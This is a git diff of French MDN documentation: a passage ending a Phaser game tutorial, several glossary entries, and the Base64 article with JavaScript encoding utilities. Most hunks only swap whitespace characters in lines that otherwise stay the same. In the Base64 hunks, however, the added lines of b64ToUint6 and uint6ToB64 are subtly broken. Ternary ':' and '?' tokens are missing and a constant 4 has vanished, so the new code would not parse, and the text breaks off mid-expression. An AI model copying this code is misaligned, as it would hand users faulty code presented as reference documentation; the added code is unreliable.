[documentation](http://docs.phaser.io/) de base, jetez un œil aux [exemples](http://examples.phaser.io/). Le framework Phaser offre un ensemble d'outils qui permettent d'accélérer le développement et aident à mettre en oeuvre les tâches courantes nécessaires au développement d'un jeu. ## Mise en place du projet @@ -92,7 +92,7 @@ La première valeur est le nom de l'état et la seconde est l'objet que nous vou ## Gestion des états du jeu -Les états du jeu dans Phaser sont différentes phases du jeu. Dans notre cas, ils sont chargés depuis des fichiers Javascript pour mieux les maintenir par la suite. Dans ce jeu nous avons les états : `Boot (démarrage)`, `Preloader (préchargement)`, `MainMenu (menu principal)`, `Howto` _(comment jouer)_ et `Game (jeu)`. `Boot` s'occupe d'initialiser quelques paramètres, `Preloader` charge tous les graphismes et les sons, `MainMenu` est le menu avec le bouton start, `Howto` affiche les instructions "comment jouer" et `Game`, est l'état qui permet de jouer. Passons rapidement au contenu de ces états. +Les états du jeu dans Phaser sont différentes phases du jeu. Dans notre cas, ils sont chargés depuis des fichiers Javascript pour mieux les maintenir par la suite. Dans ce jeu nous avons les états : `Boot (démarrage)`, `Preloader (préchargement)`, `MainMenu (menu principal)`, `Howto` _(comment jouer)_ et `Game (jeu)`. `Boot` s'occupe d'initialiser quelques paramètres, `Preloader` charge tous les graphismes et les sons, `MainMenu` est le menu avec le bouton start, `Howto` affiche les instructions "comment jouer" et `Game`, est l'état qui permet de jouer. Passons rapidement au contenu de ces états. ### Boot.js _(démarrage)_ @@ -118,7 +118,7 @@ Ball.Boot.prototype = { }; ``` -Le principal objet "`Ball`" est défini et nous ajoutons deux variables appelées `_WIDTH` et `_HEIGHT` qui sont la largeur et la hauteur du caneva du jeu — elles nous aideront à positionner les éléments à l'écran. Nous chargeons d'abord deux images qui seront utilisées plus tard dans l'état `Preload` _(préchargement)_ pour montrer la progression du chargement de tous les autres éléments. La fonction `create` contient une configuration de base : nous configurons la mise à l'échelle et l'alignement du canevas et passons à l'état `Preload` lorsque tout est prêt. +Le principal objet "`Ball`" est défini et nous ajoutons deux variables appelées `_WIDTH` et `_HEIGHT` qui sont la largeur et la hauteur du caneva du jeu — elles nous aideront à positionner les éléments à l'écran. Nous chargeons d'abord deux images qui seront utilisées plus tard dans l'état `Preload` _(préchargement)_ pour montrer la progression du chargement de tous les autres éléments. La fonction `create` contient une configuration de base : nous configurons la mise à l'échelle et l'alignement du canevas et passons à l'état `Preload` lorsque tout est prêt. ### Preloader.js _(préchargement)_ @@ -201,7 +201,7 @@ L'état `Howto` affiche les instructions du jeu à l'écran avant de commencer l ### Game.js (jeu) -L'état `game` à partir du fichier `Game.js` est le lieu où toute la magie opère. Toute l'initialisation est dans la fonction `create ()` (lancée une fois au début du jeu). Après cela, certaines fonctionnalités nécessiteront d'autres codes à contrôler — nous écrirons nos propres fonctions pour gérer des tâches plus complexes. En particulier, notez la fonction `update ()` exécutée à chaque frame, qui met à jour des choses telles que la position de la balle. +L'état `game` à partir du fichier `Game.js` est le lieu où toute la magie opère. Toute l'initialisation est dans la fonction `create ()` (lancée une fois au début du jeu). Après cela, certaines fonctionnalités nécessiteront d'autres codes à contrôler — nous écrirons nos propres fonctions pour gérer des tâches plus complexes. En particulier, notez la fonction `update ()` exécutée à chaque frame, qui met à jour des choses telles que la position de la balle. ```js Ball.Game = function(game) {}; @@ -242,17 +242,17 @@ ball.body.setCircle(10, 11, 11); ball.body.linearDamping = 1; ``` -On ajoute un "sprite" à une place donnée sur l'écran en utilisant l'image `'ball'`. On ajoute aussi le point de repère de tous les calculs physiques ( '`anchor`' ) au milieu de la balle, permettant au moteur physique d'arcade (qui gère toute la physique du mouvement de la balle) et en définissant la taille du corps pour la détection de collision . La propriété `bounce` est utilisée pour définir le rebondissement de la balle quand elle frappe les obstacles. +On ajoute un "sprite" à une place donnée sur l'écran en utilisant l'image `'ball'`. On ajoute aussi le point de repère de tous les calculs physiques ( '`anchor`' ) au milieu de la balle, permettant au moteur physique d'arcade (qui gère toute la physique du mouvement de la balle) et en définissant la taille du corps pour la détection de collision . La propriété `bounce` est utilisée pour définir le rebondissement de la balle quand elle frappe les obstacles. ### Contrôle de la balle -C'est déjà sympa d'avoir une balle prête à être lancée dans la zone de jeu, mais c'est aussi important de pouvoir le faire. Maintenant on va ajouter la possibilité de contrôler la balle avec le clavier sur les ordinateurs, et ensuite on ajoutera l'implémentation de l'API Device Orientation ( _gyroscope_). Maintenant, concentrons-nous sur le clavier en ajoutant la ligne suivante pour la fonction `create()` : +C'est déjà sympa d'avoir une balle prête à être lancée dans la zone de jeu, mais c'est aussi important de pouvoir le faire. Maintenant on va ajouter la possibilité de contrôler la balle avec le clavier sur les ordinateurs, et ensuite on ajoutera l'implémentation de l'API Device Orientation ( _gyroscope_). Maintenant, concentrons-nous sur le clavier en ajoutant la ligne suivante pour la fonction `create()` : ```js this.keys = this.game.input.keyboard.createCursorKeys(); ``` -Comme vous pouvez le voir, Phaser a une fonction spéciale `createCursorKeys()` qui nous donnera un objet avec des gestionnaires d'événements pour les quatre touches fléchées : haut, bas, gauche et droite. +Comme vous pouvez le voir, Phaser a une fonction spéciale `createCursorKeys()` qui nous donnera un objet avec des gestionnaires d'événements pour les quatre touches fléchées : haut, bas, gauche et droite. Ensuite, nous allons ajouter le code suivant dans la fonction `update ()`, il sera lancé à chaque "frame". L'objet `this.keys` sera vérifié aux pressions de touche du joueur, la balle réagira donc en conséquence : @@ -273,9 +273,9 @@ else if(this.keys.down.isDown) { De cette manière on peut vérifier quelle touche est pressée à un moment donné et appliquer une force définie à la balle, ce qui a pour effet d'augmenter sa vélocité dans la bonne direction. -## Implémentation de l'API Device Orientation (_gyroscopique_) +## Implémentation de l'API Device Orientation (_gyroscopique_) -La particularité du jeu est qu'il utilise l'API gyroscopique sur les mobiles. Grâce à elle, vous pouvez jouer au jeu en inclinant l'appareil dans la direction où vous voulez que la balle aille. Voilà le code de la fonction `create()` qui l'implémente : +La particularité du jeu est qu'il utilise l'API gyroscopique sur les mobiles. Grâce à elle, vous pouvez jouer au jeu en inclinant l'appareil dans la direction où vous voulez que la balle aille. Voilà le code de la fonction `create()` qui l'implémente : ```js window.addEventListener("deviceorientation", this.handleOrientation, true); @@ -487,6 +487,6 @@ Ceci est simplement une démonstration de travail d'un jeu qui pourrait avoir be ## Résumé -J'espère que ce tutoriel vous aidera à plonger dans le développement de jeux en 2D et vous inspirera pour créer des jeux géniaux par vous-même. Vous pouvez jouer au jeu de démonstration [Cyber Orb](http://orb.enclavegames.com/) et consulter son [code source sur GitHub](https://github.com/EnclaveGames/Cyber-Orb). +J'espère que ce tutoriel vous aidera à plonger dans le développement de jeux en 2D et vous inspirera pour créer des jeux géniaux par vous-même. Vous pouvez jouer au jeu de démonstration [Cyber Orb](http://orb.enclavegames.com/) et consulter son [code source sur GitHub](https://github.com/EnclaveGames/Cyber-Orb). HTML5 nous donne des outils bruts, les frameworks construits au-dessus deviennent plus rapides et meilleurs, alors c'est un bon moment pour le développement de jeux web. Dans ce tutoriel, nous avons utilisé Phaser, mais il existe un certain nombre d' [autres frameworks](http://html5devstarter.enclavegames.com/#frameworks) qui méritent d'être considérés aussi, comme [ImpactJS](http://impactjs.com/), [Construct 2](https://www.scirra.com/construct2) ou [PlayCanvas](http://playcanvas.com/) — cela dépend de vos préférences, de vos compétences en codage (ou de leur absence), de l'échelle du projet, des exigences et d'autres aspects. Vous devriez les regarder tous et décider lequel convient le mieux à vos besoins. diff --git a/files/fr/glossary/accessibility_tree/index.md b/files/fr/glossary/accessibility_tree/index.md index c7a0041205..3115584b7c 100644 --- a/files/fr/glossary/accessibility_tree/index.md +++ b/files/fr/glossary/accessibility_tree/index.md @@ -9,20 +9,20 @@ tags: - Reference translation_of: Glossary/Accessibility_tree --- -L'**arbre d'accessibilité**, ou **modèle d'objets d'accessibilité** (**MOA**), contient des informations concernant l'{{Glossary("accessibility")}} pour la plupart des éléments HTML. +L'**arbre d'accessibilité**, ou **modèle d'objets d'accessibilité** (**MOA**), contient des informations concernant l'{{Glossary("accessibility")}} pour la plupart des éléments HTML. -Les navigateurs convertissent le balisage en une représentation interne appelée [arbre DOM](/fr/docs/Comment_créer_un_arbre_DOM). Le DOM contient un objet pour chaque balise, attribut et noeud de texte. Les navigateurs créent ensuite un arbre d'accessibilité basé sur l'arbre DOM, celui-ci est utilisé par les technologies d'assistance telles que les lecteurs d'écran via des APIs spécifiques à une plateforme. +Les navigateurs convertissent le balisage en une représentation interne appelée [arbre DOM](/fr/docs/Comment_créer_un_arbre_DOM). Le DOM contient un objet pour chaque balise, attribut et noeud de texte. Les navigateurs créent ensuite un arbre d'accessibilité basé sur l'arbre DOM, celui-ci est utilisé par les technologies d'assistance telles que les lecteurs d'écran via des APIs spécifiques à une plateforme. Un objet de l'arbre d'accessibilité contient quatre éléments : - **name** - - : Comment peut-on faire référence à cet élément ? Par exemple, pour un lien contenant le texte "Lire la suite" name contiendra 'Lire la suite' (pour en savoir plus sur la façon dont la valeur de name est déterminée voir la spécification suivante : [Accessible Name and Description Computation](https://www.w3.org/TR/accname-1.1/)). + - : Comment peut-on faire référence à cet élément ? Par exemple, pour un lien contenant le texte "Lire la suite" name contiendra 'Lire la suite' (pour en savoir plus sur la façon dont la valeur de name est déterminée voir la spécification suivante : [Accessible Name and Description Computation](https://www.w3.org/TR/accname-1.1/)). - **description** - - : Comment peut-on décrire cet élément si l'on veut apporter une information en plus de son nom ? La description d'un tableau pourrait expliquer quel genre d'information ce tableau apporte. + - : Comment peut-on décrire cet élément si l'on veut apporter une information en plus de son nom ? La description d'un tableau pourrait expliquer quel genre d'information ce tableau apporte. - **role** - : Quel genre de chose est cet élément ? Par exemple est-ce un bouton, une barre de navigation ou une liste d'éléments ? - **state** - - : A-t-il un état ? Pensez à coché/décoché pour les checkboxes, ou plié/déplié pour l'élément [`<summary>`](/fr/docs/Web/HTML/Element/summary). + - : A-t-il un état ? Pensez à coché/décoché pour les checkboxes, ou plié/déplié pour l'élément [`<summary>`](/fr/docs/Web/HTML/Element/summary). De plus, l'arbre d'accessibilité contient souvent des informations concernant ce qui peut être fait avec un élément : un lien peut être _suivi,_ on peut _écrire dans_ un champ texte etc. diff --git a/files/fr/glossary/alignment_container/index.md b/files/fr/glossary/alignment_container/index.md index 930d9c1ff3..89e2a1b154 100644 --- a/files/fr/glossary/alignment_container/index.md +++ b/files/fr/glossary/alignment_container/index.md @@ -9,7 +9,7 @@ tags: translation_of: Glossary/Alignment_Container original_slug: Glossaire/Alignment_Container --- -Le **bloc d'alignement** est le rectangle avec lequel le [sujet d'alignement](/fr/docs/Glossary/Alignment_Subject) est aligné. Cela est défini par le mode de disposition ; généralement, le bloc d'alignement contient le sujet d'alignement et il adopte le [mode d'ecriture](/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligner_des_%C3%A9l%C3%A9ments_dans_un_conteneur_flexible#L'alignement_et_les_modes_d'%C3%A9criture) de la boîte qui établit le bloc conteneur. +Le **bloc d'alignement** est le rectangle avec lequel le [sujet d'alignement](/fr/docs/Glossary/Alignment_Subject) est aligné. Cela est défini par le mode de disposition ; généralement, le bloc d'alignement contient le sujet d'alignement et il adopte le [mode d'ecriture](/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligner_des_%C3%A9l%C3%A9ments_dans_un_conteneur_flexible#L'alignement_et_les_modes_d'%C3%A9criture) de la boîte qui établit le bloc conteneur. ## En savoir plus diff --git a/files/fr/glossary/alignment_subject/index.md b/files/fr/glossary/alignment_subject/index.md index c6e0a2f04a..5e2ee82375 100644 --- a/files/fr/glossary/alignment_subject/index.md +++ b/files/fr/glossary/alignment_subject/index.md @@ -4,13 +4,13 @@ slug: Glossary/Alignment_Subject translation_of: Glossary/Alignment_Subject original_slug: Glossaire/Alignment_Subject --- -Dans le [CSS Box Alignment (alignement des boîtes en CSS)](/fr/docs/Web/CSS/CSS_Box_Alignment) l'**alignment subject** (le sujet de l'alignement) est la ou les choses alignées par la propriété. +Dans le [CSS Box Alignment (alignement des boîtes en CSS)](/fr/docs/Web/CSS/CSS_Box_Alignment) l'**alignment subject** (le sujet de l'alignement) est la ou les choses alignées par la propriété. -Pour {{cssxref("justify-self")}} et {{cssxref("align-self")}}, l'**alignment subject** est la marge de la boite sur laquelle la propriété est définie, en utilisant le mode d'écriture de cette zone. +Pour {{cssxref("justify-self")}} et {{cssxref("align-self")}}, l'**alignment subject** est la marge de la boite sur laquelle la propriété est définie, en utilisant le mode d'écriture de cette zone. Pour {{cssxref("justify-content")}} et {{cssxref("align-content")}}, le mode d'écriture de la boîte est également utilisé. La définition du sujet de l'alignement dépend du mode de mise en page utilisé. -- Conteneurs de bloc (comprenant les cellules de tableau) +- Conteneurs de bloc (comprenant les cellules de tableau) - : L'ensemble du contenu du bloc en une seule unité. - Conteneurs multi-colonne - : Les boites de colonne, avec tout espacement inséré entre les boites de colonne ajoutées aux espaces de colonne appropriés. @@ -18,7 +18,7 @@ Pour {{cssxref("justify-content")}} et {{cssxref("align-content")}}, le mode d' - : Pour {{cssxref("justify-content")}}, les éléments flexibles dans chaque ligne de flexible. Pour {{cssxref("align-content")}}, les lignes flexibles. Notez que cela n’a d’effet que sur les conteneurs flexibles multilignes. - Conteneurs grid - - : La grille suit l’axe approprié, avec tout espacement inséré entre les pistes ajoutées aux gouttières correspondantes. Les gouttières fusionnées sont traitées comme une seule opportunité d'insertion d'espace. + - : La grille suit l’axe approprié, avec tout espacement inséré entre les pistes ajoutées aux gouttières correspondantes. Les gouttières fusionnées sont traitées comme une seule opportunité d'insertion d'espace. ## Learn more diff --git a/files/fr/glossary/api/index.md b/files/fr/glossary/api/index.md index f64d3ef82f..9aa43f3871 100644 --- a/files/fr/glossary/api/index.md +++ b/files/fr/glossary/api/index.md @@ -8,7 +8,7 @@ tags: translation_of: Glossary/API original_slug: Glossaire/API --- -Une API (Application Programming Interface) est un ensemble de fonctionnalités et de règles existant dans un logiciel permettant d'intéragir avec celui-ci de manière automatisée (plutôt que de passer par une interface utilisateur). L'API peut être vue comme un contrat simple passé entre le logiciel qui la propose et d'autres entités, telles que des logiciels ou matériels tiers. +Une API (Application Programming Interface) est un ensemble de fonctionnalités et de règles existant dans un logiciel permettant d'intéragir avec celui-ci de manière automatisée (plutôt que de passer par une interface utilisateur). L'API peut être vue comme un contrat simple passé entre le logiciel qui la propose et d'autres entités, telles que des logiciels ou matériels tiers. En développement web, une API est généralement un ensemble de fonctionnalités (par exemple : {{glossary("method","méthodes")}}, {{Glossary("property","propriétés")}}, évènements et {{Glossary("URL")}}) qu'un développeur peut utiliser dans son application pour les interactions avec les composants du navigateur de l'utilisateur, ou avec d'autres logiciels/matériels de l'ordinateur de l'utilisateur, ou avec des sites web et services tiers. diff --git a/files/fr/glossary/argument/index.md b/files/fr/glossary/argument/index.md index 6b889c97a1..ad950740d4 100644 --- a/files/fr/glossary/argument/index.md +++ b/files/fr/glossary/argument/index.md @@ -8,7 +8,7 @@ tags: translation_of: Glossary/Argument original_slug: Glossaire/Argument --- -Un **argument** est une {{Glossary("Value","valeur")}} ({{Glossary("Primitive", "primitive")}} ou {{Glossary("Object", "objet")}}) passée en tant qu'entrée à une {{Glossary("Function", "fonction")}}. +Un **argument** est une {{Glossary("Value","valeur")}} ({{Glossary("Primitive", "primitive")}} ou {{Glossary("Object", "objet")}}) passée en tant qu'entrée à une {{Glossary("Function", "fonction")}}. ## Pour approfondir diff --git a/files/fr/glossary/aria/index.md b/files/fr/glossary/aria/index.md index dd293ade7a..ebb7687e35 100644 --- a/files/fr/glossary/aria/index.md +++ b/files/fr/glossary/aria/index.md @@ -9,7 +9,7 @@ original_slug: Glossaire/ARIA --- **ARIA** (_Accessible Rich {{glossary("Internet")}} Applications_) est une spécification technique du {{Glossary("W3C")}}. ARIA décrit comment ajouter de la sémantique et d'autres métadonnées à du contenu {{Glossary("HTML")}} dans le but de répondre aux besoins des technologies d'assistance. -Par exemple, vous pouvez ajouter l'attribut `role="alert"` à un élément {{HTMLElement("p")}} pour notifier à un utilisateur malvoyant l'importance et l'urgence de l'information (pour un utilisateur sans problème de vue, cette information pourrait être mise en exergue par un texte coloré différemment). +Par exemple, vous pouvez ajouter l'attribut `role="alert"` à un élément {{HTMLElement("p")}} pour notifier à un utilisateur malvoyant l'importance et l'urgence de l'information (pour un utilisateur sans problème de vue, cette information pourrait être mise en exergue par un texte coloré différemment). ## Pour approfondir diff --git a/files/fr/glossary/arpa/index.md b/files/fr/glossary/arpa/index.md index eaa6b1221a..dff24ff3bd 100644 --- a/files/fr/glossary/arpa/index.md +++ b/files/fr/glossary/arpa/index.md @@ -7,7 +7,7 @@ tags: translation_of: Glossary/ARPA original_slug: Glossaire/ARPA --- -**.arpa** (address and routing parameter area) est un {{glossary("TLD","domaine de premier niveau")}} utilisé dans des objectifs relatifs à l'infrastructure d'Internet, en particulier des recherches DNS inverses (c'est-à-dire, trouver le {{glossary( 'domain name' ,'nom de domaine')}} d'une {{glossary( "IP address" ,"adresse IP")}} donnée). +**.arpa** (address and routing parameter area) est un {{glossary("TLD","domaine de premier niveau")}} utilisé dans des objectifs relatifs à l'infrastructure d'Internet, en particulier des recherches DNS inverses (c'est-à-dire, trouver le {{glossary( 'domain name' ,'nom de domaine')}} d'une {{glossary( "IP address" ,"adresse IP")}} donnée). ## Pour en savoir plus diff --git a/files/fr/glossary/arpanet/index.md b/files/fr/glossary/arpanet/index.md index 6c379c281b..396ee7a046 100644 --- a/files/fr/glossary/arpanet/index.md +++ b/files/fr/glossary/arpanet/index.md @@ -7,7 +7,7 @@ tags: translation_of: Glossary/Arpanet original_slug: Glossaire/Arpanet --- -**ARPAnet** (advanced research projects agency network) était l'un des premiers réseaux informatiques, construit en 1969 comme un support robuste pour transmettre des données militaires sensibles et pour relier des groupes à la pointe de la recherche à travers le territoire des États-Unis. ARPAnet utilisait d'abord NCP (network control protocol) puis par la suite la première version de la suite des protocoles Internet ou {{glossary("TCP")}}/{{glossary("IPv6","IP")}}, ce qui a fait d'ARPAnet une partie importante du naissant {{glossary("Internet")}}. ARPAnet a fermé au début des années 90. +**ARPAnet** (advanced research projects agency network) était l'un des premiers réseaux informatiques, construit en 1969 comme un support robuste pour transmettre des données militaires sensibles et pour relier des groupes à la pointe de la recherche à travers le territoire des États-Unis. ARPAnet utilisait d'abord NCP (network control protocol) puis par la suite la première version de la suite des protocoles Internet ou {{glossary("TCP")}}/{{glossary("IPv6","IP")}}, ce qui a fait d'ARPAnet une partie importante du naissant {{glossary("Internet")}}. ARPAnet a fermé au début des années 90. ## Pour en savoir plus diff --git a/files/fr/glossary/array/index.md b/files/fr/glossary/array/index.md index aee538b86b..36e839e9af 100644 --- a/files/fr/glossary/array/index.md +++ b/files/fr/glossary/array/index.md @@ -11,7 +11,7 @@ tags: translation_of: Glossary/array original_slug: Glossaire/array --- -En anglais, un **_array_**, parfois appelé en français « tableau » ou « liste », est une collection de données ({{Glossary("Primitive","primitives")}} ou {{Glossary("Object","objets")}} selon le langage). Ils sont utilisés pour stocker plusieurs valeurs dans une seule variable. Ceci est comparé à une variable qui ne peut stocker qu'une seule valeur. +En anglais, un **_array_**, parfois appelé en français « tableau » ou « liste », est une collection de données ({{Glossary("Primitive","primitives")}} ou {{Glossary("Object","objets")}} selon le langage). Ils sont utilisés pour stocker plusieurs valeurs dans une seule variable. Ceci est comparé à une variable qui ne peut stocker qu'une seule valeur. Chaque élément d'un _array_ a un numéro qui lui est associé, appelé index numérique, qui permet d'y accéder. En JavaScript, ils commencent à l'index zéro et peuvent être manipulés avec différentes {{Glossary ("Method","méthodes")}}. diff --git a/files/fr/glossary/ascii/index.md b/files/fr/glossary/ascii/index.md index aeac7e6af5..33e736605a 100644 --- a/files/fr/glossary/ascii/index.md +++ b/files/fr/glossary/ascii/index.md @@ -7,9 +7,9 @@ tags: translation_of: Glossary/ASCII original_slug: Glossaire/ASCII --- -**ASCII** (_American Standard Code for Information Interchange_) est l'une des méthodes d'encodage utilisées par les ordinateurs pour convertir les lettres, les nombres, la ponctuation et les codes de contrôle sous forme numérique. Depuis 2007, l'{{Glossary("UTF-8")}} est privilégié sur internet. +**ASCII** (_American Standard Code for Information Interchange_) est l'une des méthodes d'encodage utilisées par les ordinateurs pour convertir les lettres, les nombres, la ponctuation et les codes de contrôle sous forme numérique. Depuis 2007, l'{{Glossary("UTF-8")}} est privilégié sur internet. -## En savoir plus +## En savoir plus ### Connaissance générale diff --git a/files/fr/glossary/attribute/index.md b/files/fr/glossary/attribute/index.md index 6941750dcd..ac16bcfc65 100644 --- a/files/fr/glossary/attribute/index.md +++ b/files/fr/glossary/attribute/index.md @@ -19,7 +19,7 @@ Un _attribut_ vient compléter un {{Glossary("tag")}}. Sa présence peut être r <h2 style="background-color:yellow";>Titre</h2> ``` -On peut aussi trouver des attributs sans valeur quand elle n'est pas nécessaire. +On peut aussi trouver des attributs sans valeur quand elle n'est pas nécessaire. ```html <!-- Un tag avec un attribut indiquant que le champ est requis --> diff --git a/files/fr/glossary/base64/index.md b/files/fr/glossary/base64/index.md index d66a830181..5c97ea8edc 100644 --- a/files/fr/glossary/base64/index.md +++ b/files/fr/glossary/base64/index.md @@ -31,7 +31,7 @@ Les deux méthodes, `atob()` et `btoa()`, fonctionnent sur des chaînes de carac ## Documentation - [URIs de données](/fr/docs/Web/HTTP/data_URIs) - - : Les URIs de données, définies par la [RFC 2397](http://tools.ietf.org/html/rfc2397), permettent aux créateurs de contenus d'intégrer des fichiers en ligne dans des documents. + - : Les URIs de données, définies par la [RFC 2397](http://tools.ietf.org/html/rfc2397), permettent aux créateurs de contenus d'intégrer des fichiers en ligne dans des documents. - [Base64](https://fr.wikipedia.org/wiki/Base_64) - : Article Wikipédia sur l'encodage en base64. - {{domxref("window.atob","atob()")}} @@ -75,7 +75,7 @@ Les objets [`DOMString`](/fr/docs/Web/API/DOMString) sont des chaînes de caract Voici ces deux méthodes : -### Première solution – échapper la chaîne avant de l'encoder +### Première solution – échapper la chaîne avant de l'encoder ```js function utf8_to_b64( str ) { @@ -95,16 +95,16 @@ Cette solution a été proposée dans un article de [Johan Sundström](http://ec ### Seconde solution – réécrire `atob()` et `btoa()` en utilisant des `TypedArray` avec de l'UTF-8 -> **Note :** Le code suivant peut également être utilisé pour obtenir un [ArrayBuffer](/fr/docs/Web/JavaScript/Reference/Objets_globaux/ArrayBuffer) depuis une chaîne en base 64 (et vice-versa, voir ci-après). **Pour un article concernant une bibliothèque complète sur les tableaux typés, voir [cet article](/fr/Add-ons/Code_snippets/StringView)**. +> **Note :** Le code suivant peut également être utilisé pour obtenir un [ArrayBuffer](/fr/docs/Web/JavaScript/Reference/Objets_globaux/ArrayBuffer) depuis une chaîne en base 64 (et vice-versa, voir ci-après). **Pour un article concernant une bibliothèque complète sur les tableaux typés, voir [cet article](/fr/Add-ons/Code_snippets/StringView)**. ```js "use strict"; /*\ |*| -|*| utilitairezs de manipulations de chaînes base 64 / binaires / UTF-8 +|*| utilitairezs de manipulations de chaînes base 64 / binaires / UTF-8 |*| -|*| https://developer.mozilla.org/fr/docs/Décoder_encoder_en_base64 +|*| https://developer.mozilla.org/fr/docs/Décoder_encoder_en_base64 |*| \*/ @@ -112,74 +112,74 @@ Cette solution a été proposée dans un article de [Johan Sundström](http://ec function b64ToUint6 (nChr) { - return nChr > 64 && nChr < 91 ? - nChr - 65 - : nChr > 96 && nChr < 123 ? - nChr - 71 - : nChr > 47 && nChr < 58 ? - nChr + 4 - : nChr === 43 ? - 62 - : nChr === 47 ? - 63 - : - 0; + return nChr > 64 && nChr < 91 ? + nChr - 65 + nChr > 96 && nChr < 123 ? + nChr - 71 + : nChr > 47 && nChr < 58 + nChr + 4 + : nChr === 43 ? + 62 + : nChr === 47 ? + 63 + : + 0; } function base64DecToArr (sBase64, nBlocksSize) { - var - sB64Enc = sBase64.replace(/[^A-Za-z0-9\+\/]/g, ""), nInLen = sB64Enc.length, - nOutLen = nBlocksSize ? Math.ceil((nInLen * 3 + 1 >> 2) / nBlocksSize) * nBlocksSize : nInLen * 3 + 1 >> 2, taBytes = new Uint8Array(nOutLen); - - for (var nMod3, nMod4, nUint24 = 0, nOutIdx = 0, nInIdx = 0; nInIdx < nInLen; nInIdx++) { - nMod4 = nInIdx & 3; - nUint24 |= b64ToUint6(sB64Enc.charCodeAt(nInIdx)) << 18 - 6 * nMod4; - if (nMod4 === 3 || nInLen - nInIdx === 1) { - for (nMod3 = 0; nMod3 < 3 && nOutIdx < nOutLen; nMod3++, nOutIdx++) { - taBytes[nOutIdx] = nUint24 >>> (16 >>> nMod3 & 24) & 255; - } - nUint24 = 0; - - } - } - - return taBytes; + var + sB64Enc = sBase64.replace(/[^A-Za-z0-9\+\/]/g, ""), nInLen = sB64Enc.length, + nOutLen = nBlocksSize ? Math.ceil((nInLen * 3 + 1 >> 2) / nBlocksSize) * nBlocksSize : nInLen * 3 + 1 >> 2, taBytes = new Uint8Array(nOutLen); + + for (var nMod3, nMod4, nUint24 = 0, nOutIdx = 0, nInIdx = 0; nInIdx < nInLen; nInIdx++) { + nMod4 = nInIdx & 3; + nUint24 |= b64ToUint6(sB64Enc.charCodeAt(nInIdx)) << 18 - 6 * nMod4; + if (nMod4 === 3 || nInLen - nInIdx === 1) { + for (nMod3 = 0; nMod3 < 3 && nOutIdx < nOutLen; nMod3++, nOutIdx++) { + taBytes[nOutIdx] = nUint24 >>> (16 >>> nMod3 & 24) & 255; + } + nUint24 = 0; + + } + } + + return taBytes; } /* encodage d'un tableau en une chaîne en base64 */ function uint6ToB64 (nUint6) { - return nUint6 < 26 ? - nUint6 + 65 - : nUint6 < 52 ? - nUint6 + 71 - : nUint6 < 62 ? - nUint6 - 4 - : nUint6 === 62 ? - 43 - : nUint6 === 63 ? - 47 - : - 65; + return nUint6 < 26 ? + nUint6 + 65 + nUint6 < 52 ? + nUint6 + 71 + : nUint6 < 62 ? + nUint6 - + : nUint6 === 62 ? + 43 + : nUint6 === 63 ? + 47 + : + 65; } function base64EncArr (aBytes) { - var nMod3 = 2, sB64Enc = ""; + var nMod3 = 2, sB64Enc = ""; - for (var nLen = aBytes.length, nUint24 = 0, nIdx = 0; nIdx < nLen; nIdx++) { - nMod3 = nIdx % 3; - if (nIdx > 0 && (nIdx * 4 / 3) % 76 === 0) { sB64Enc += "\r\n"; } - nUint24 |= aBytes[nIdx] << (16 >>> nMod3 & 24); - if (nMod3 === 2 || aBytes.length - nIdx === 1) { - sB64Enc += String.fromCharCode(uint6ToB64(nUint24 >>> 18 & 63), uint6ToB64(nUint24 >>> 12 & 63), uint6ToB64(nUint24 >>> 6 & 63), uint6ToB64(nUint24 & 63)); - nUint24 = 0; - } - } + for (var nLen = aBytes.length, nUint24 = 0, nIdx = 0; nIdx < nLen; nIdx++) { + nMod3 = nIdx % 3; + if (nIdx > 0 && (nIdx * 4 / 3) % 76 === 0) { sB64Enc += "\r\n"; } + nUint24 |= aBytes[nIdx] << (16 >>> nMod3 & 24); + if (nMod3 === 2 || aBytes.length - nIdx === 1) { + sB64Enc += String.fromCharCode(uint6ToB64(nUint24 >>> 18 & 63), uint6ToB64(nUint24 >>> 12 & 63), uint6ToB64(nUint24 >>> 6 & 63), uint6ToB64(nUint24 & 63)); + nUint24 = 0; + } + } return sB64Enc.substr(0, sB64Enc.length - 2 + nMod3) + (nMod3 === 2 ? '' : nMod3 === 1 ? '=' : '=='); @@ -189,85 +189,85 @@ function base64EncArr (aBytes) { function UTF8ArrToStr (aBytes) { - var sView = ""; - - for (var nPart, nLen = aBytes.length, nIdx = 0; nIdx < nLen; nIdx++) { - nPart = aBytes[nIdx]; - sView += String.fromCharCode( - nPart > 251 && nPart < 254 && nIdx + 5 < nLen ? /* six bytes */ - /* (nPart - 252 << 32) n'est pas possible pour ECMAScript donc, on utilise un contournement... : */ - (nPart - 252) * 1073741824 + (aBytes[++nIdx] - 128 << 24) + (aBytes[++nIdx] - 128 << 18) + (aBytes[++nIdx] - 128 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128 - : nPart > 247 && nPart < 252 && nIdx + 4 < nLen ? /* five bytes */ - (nPart - 248 << 24) + (aBytes[++nIdx] - 128 << 18) + (aBytes[++nIdx] - 128 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128 - : nPart > 239 && nPart < 248 && nIdx + 3 < nLen ? /* four bytes */ - (nPart - 240 << 18) + (aBytes[++nIdx] - 128 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128 - : nPart > 223 && nPart < 240 && nIdx + 2 < nLen ? /* three bytes */ - (nPart - 224 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128 - : nPart > 191 && nPart < 224 && nIdx + 1 < nLen ? /* two bytes */ - (nPart - 192 << 6) + aBytes[++nIdx] - 128 - : /* nPart < 127 ? */ /* one byte */ - nPart - ); - } - - return sView; + var sView = ""; + + for (var nPart, nLen = aBytes.length, nIdx = 0; nIdx < nLen; nIdx++) { + nPart = aBytes[nIdx]; + sView += String.fromCharCode( + nPart > 251 && nPart < 254 && nIdx + 5 < nLen ? /* six bytes */ + /* (nPart - 252 << 32) n'est pas possible pour ECMAScript donc, on utilise un contournement... : */ + (nPart - 252) * 1073741824 + (aBytes[++nIdx] - 128 << 24) + (aBytes[++nIdx] - 128 << 18) + (aBytes[++nIdx] - 128 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128 + : nPart > 247 && nPart < 252 && nIdx + 4 < nLen ? /* five bytes */ + (nPart - 248 << 24) + (aBytes[++nIdx] - 128 << 18) + (aBytes[++nIdx] - 128 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128 + : nPart > 239 && 